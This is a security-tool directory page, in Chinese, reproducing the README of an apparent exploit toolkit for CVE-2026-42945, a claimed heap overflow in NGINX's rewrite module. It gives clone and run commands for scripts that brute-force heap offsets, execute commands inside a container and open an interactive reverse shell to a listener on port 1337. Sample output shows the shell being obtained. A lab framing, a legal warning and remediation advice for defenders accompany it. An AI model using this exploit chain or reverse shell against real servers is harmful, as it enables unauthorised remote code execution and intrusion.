Skip to content
KitploitKITPLOIT
工具博客
Log in
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-42945_NginxRift — 在 NGINX 容器中自动化利用 CVE-2026-42945:验证易受攻击的目标,暴力破解堆偏移量,执行命令,并打开交互式反向 Shell。 | Kitploit
工具/GitHubGitHub/kentox493/cve-2026-42945_nginxrift
容器安全漏洞分析漏洞利用Web应用程序漏洞利用CTF渗透测试红队二进制利用
GitHubkentox493/cve-2026-42945_nginxrift

CVE-2026-42945_NginxRift

在 NGINX 容器中自动化利用 CVE-2026-42945:验证易受攻击的目标,暴力破解堆偏移量,执行命令,并打开交互式反向 Shell。

查看仓库
1311个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

🚀 NGINX Rift PoC 自动化 — CVE-2026-42945

用于 nginx-rift 容器 RCE 利用的 PoC 自动化驱动程序 · 目标验证 → 单命令利用 → 交互式反向 Shell

Shell Python Platform License

一条命令编排整个利用流程 —— 从容器检查到获取 Shell。


⚠️ 道德与法律警告 本工具仅用于合法且经授权的安全测试 —— 签约渗透测试、实验室/CTF 或自有资产。未经系统所有者许可使用属犯罪行为(UU ITE、Computer Fraud and Abuse Act 等)。使用者须对使用行为承担全部责任。


📖 漏洞概述

CVE-2026-42945 是 NGINX “Rift” 配置中的 远程代码执行 (RCE) 漏洞 —— 位于 ngx_http_rewrite_module 模块中的 基于堆的缓冲区溢出 漏洞,可通过特定 location 块 (/api/users/...) 触发。攻击者可借此通过容器内的 system() 处理器执行命令。

项目详情
CVECVE-2026-42945
类型远程代码执行 (RCE)
组件NGINX (ngx_http_rewrite_module) — “Rift” 配置
触发条件请求易受攻击的 location 块 (/api/users/{id})
影响以容器内 NGINX worker 用户身份执行任意命令
实验环境容器 nginx-rift-nginx-1 — 主机端口 19321

本仓库包含 2 个组件:

文件功能
poc.py利用驱动程序 — 暴力破解堆偏移,两种模式:--cmd(单命令)和 --shell(反向 Shell)
scan.sh自动化编排器 — 目标验证、运行 PoC、结果验证及交互式 Shell 会话

🏗 工作流程

┌─────────────────────────────┐
│         scan.sh             │
│  模式: auto / cmd / shell   │
└─────────────┬───────────────┘
              ▼
      [0] 预检
      检查 docker、curl、python3、
      nc、timeout 及 poc.py 是否存在
              ▼
      [1] 目标验证
      docker ps(compose 标签)
      → curl /api/users/42(HTTP 200)
              ▼
      [2] PoC --cmd(最多重试 3 次)
      python3 poc.py --cmd 'echo hello
      from depthfirst > /tmp/pwned'
              │
              ▼(每次尝试超时 300 秒)
      验证真实结果:
      docker exec cat /tmp/pwned
              ▼
      [3] PoC --shell(可选)
      监听器 172.17.0.1:1337
      → 交互式 /bin/sh 提示符

⚙️ 系统要求

操作端(运行脚本的主机):

  • Linux (bash) — 已在 Kali / Ubuntu / Debian 上测试
  • docker(使用 sudo 或属于 docker 组的用户)
  • python3 + poc.py(与 scan.sh 位于同一目录)
  • curl、nc (netcat)、timeout (coreutils)

目标(实验室):

  • nginx-rift 容器已启动(通过 docker compose 部署)
  • 主机端口 19321 在 127.0.0.1 上开放
  • 容器已连接到 Docker 桥接网络(主机监听器默认 172.17.0.1)

📥 安装

# 1. 克隆
git clone https://github.com/Kentox493/CVE-2026-42945_NginxRift.git
cd CVE-2026-42945_NginxRift

# 2. 确保可执行权限
chmod +x scan.sh

# 3. (可选)验证依赖
command -v docker python3 curl nc timeout

scan.sh 和 poc.py 必须位于同一目录。


🚀 使用方法

./scan.sh          # 完整流程(默认: auto)
./scan.sh cmd      # 仅执行单命令 PoC + 标记验证
./scan.sh shell    # 直接进入交互式反向 Shell
./scan.sh help     # 显示帮助

auto 模式(默认)

  1. 预检 — 检查所有依赖项。
  2. 目标验证 — 容器是否已启动?HTTP 200?
  3. PoC --cmd — 在容器内将标记 hello from depthfirst 写入 /tmp/pwned(自动重试最多 3 次,每次超时 300 秒)。
  4. 结果验证 — docker exec cat /tmp/pwned 必须包含该标记(真实结果,而非仅读取输出)。
  5. 提示是否继续反向 Shell? → 输入 y 进入交互式会话。

shell 模式

./scan.sh shell

运行 poc.py --shell,监听器为 172.17.0.1:1337。暴力破解成功后,你将获得容器内以 NGINX worker 用户身份运行的交互式 /bin/sh 提示符。

注意: IP 172.17.0.1 是 Docker 默认桥接网络上主机的地址。如果你的桥接网络不同(docker network inspect bridge),请修改 scan.sh 顶部的 LISTEN_IP 变量。


🔧 可调配置

所有参数集中在 scan.sh 顶部的配置块中:

变量默认值功能
DOCKERsudo docker若用户已在 docker 组中,可改为 docker
PROJECT_LABELcom.docker.compose.project=nginx-rift容器识别过滤条件
CONTAINERnginx-rift-nginx-1目标容器名称
TARGET_HOST / TARGET_PORT127.0.0.1 / 19321目标地址
LISTEN_IP / LISTEN_PORT172.17.0.1 / 1337反向 Shell 监听器
MARKER_FILE / MARKER_EXPECT/tmp/pwned / hello from depthfirst执行验证
CMD_TIMEOUT300每次尝试的超时时间(秒)
MAX_ATTEMPTS3PoC --cmd 的重试次数

📸 输出示例

┌──────────────────────────────────────────────────────────────┐
│  NGINX RIFT · CVE-2026-42945 · PoC 自动化驱动程序    │
└──────────────────────────────────────────────────────────────┘

── 0 ── 预检
[+] 所有依赖均可用(docker、curl、python3、nc、timeout、poc.py)

── 1 ── 容器与目标验证
[+] 容器 'nginx-rift-nginx-1' 正在运行
[+] 目标响应正常(HTTP 200): http://127.0.0.1:19321/api/users/42

── 2 ── 单命令 PoC (--cmd)
[i] Payload : echo hello from depthfirst > /tmp/pwned
[i] 目标    : 127.0.0.1:19321
[!] 尝试 1/3 — 暴力破解循环运行中(超时 300 秒)...

[*] trying offset 0x8a0
[*] crashed - system("...") executed
[i] 尝试 1 在 42 秒内完成(rc=0)
[+] 利用成功 — 标记已验证: 'hello from depthfirst'(属于 root)

[?] 是否继续交互式反向 Shell? [y/N]: y

── 3 ── 反向 Shell PoC (--shell)
[i] 反向 Shell 将连接到 172.17.0.1:1337
[i] poc.py 打开本地 netcat 监听器,然后运行暴力破解

[+] Connection from 172.18.0.2:49312
/bin/sh: 0# id
uid=1000(nginx) gid=1000(nginx) groups=1000(nginx)

🛠 故障排查

问题解决方法
Container ... tidak berjalancd <项目目录> && sudo docker compose up -d,然后重试
HTTP 000 / connection refused端口 19321 尚未就绪 — 等待几秒,检查 docker ps
File 'poc.py' tidak ditemukan从仓库目录运行 scan.sh(poc.py 必须在同一目录)
PoC --cmd 持续失败(3 次)提高 MAX_ATTEMPTS / CMD_TIMEOUT;确保内核和 NGINX 版本与实验环境一致
反向 Shell 无法连接检查 LISTEN_IP 是否与桥接网络一致(docker network inspect bridge);确保端口 1337 未被占用
错误 unrecognized arguments确保 poc.py 版本支持 --listen-ip/--listen-port 标志(参见 python3 poc.py -h)

🛡 修复建议(供蓝队使用)

  1. 修补 NGINX — 升级到修复 ngx_http_rewrite_module 的版本 / 移除 Rift 配置。
  2. 限制暴露面 — 不要将容器端口暴露到 0.0.0.0;使用内部网络 + 带 WAF 的反向代理。
  3. 最小权限 — 以无额外权限运行 NGINX worker;不要使用 --privileged 启动容器。
  4. 监控 — 对发送到 /api/users/ 的异常请求(非数字模式、超长 payload)发出告警,检测从 nginx 进程派生的 /bin/sh。
  5. 网络隔离 — 将容器桥接网络与主机隔离;限制容器出口流量,以增加反向 Shell 的难度。

📁 仓库结构

CVE-2026-42945_NginxRift/
├── scan.sh     # 自动化编排器 (bash) — 验证、PoC、标记验证、Shell
├── poc.py      # 利用驱动程序 (python) — 暴力破解堆偏移,--cmd / --shell 模式
└── README.md   # 本文档

⚖️ 免责声明与许可证

仅供合法使用。 本工具适用于:

  • 专业渗透测试(书面合同)
  • 安全研究与负责任披露
  • 实验室 / CTF 环境

在对任何基础设施运行本工具之前,你必须获得系统所有者的书面授权。

本仓库按“原样”提供,不附任何担保。贡献者不对滥用行为承担任何责任。

许可证: MIT


📚 参考

  • CVE-2026-42945 — NVD / MITRE
  • NGINX ngx_http_rewrite_module — 官方文档
  • Docker Compose — 文档
下载工具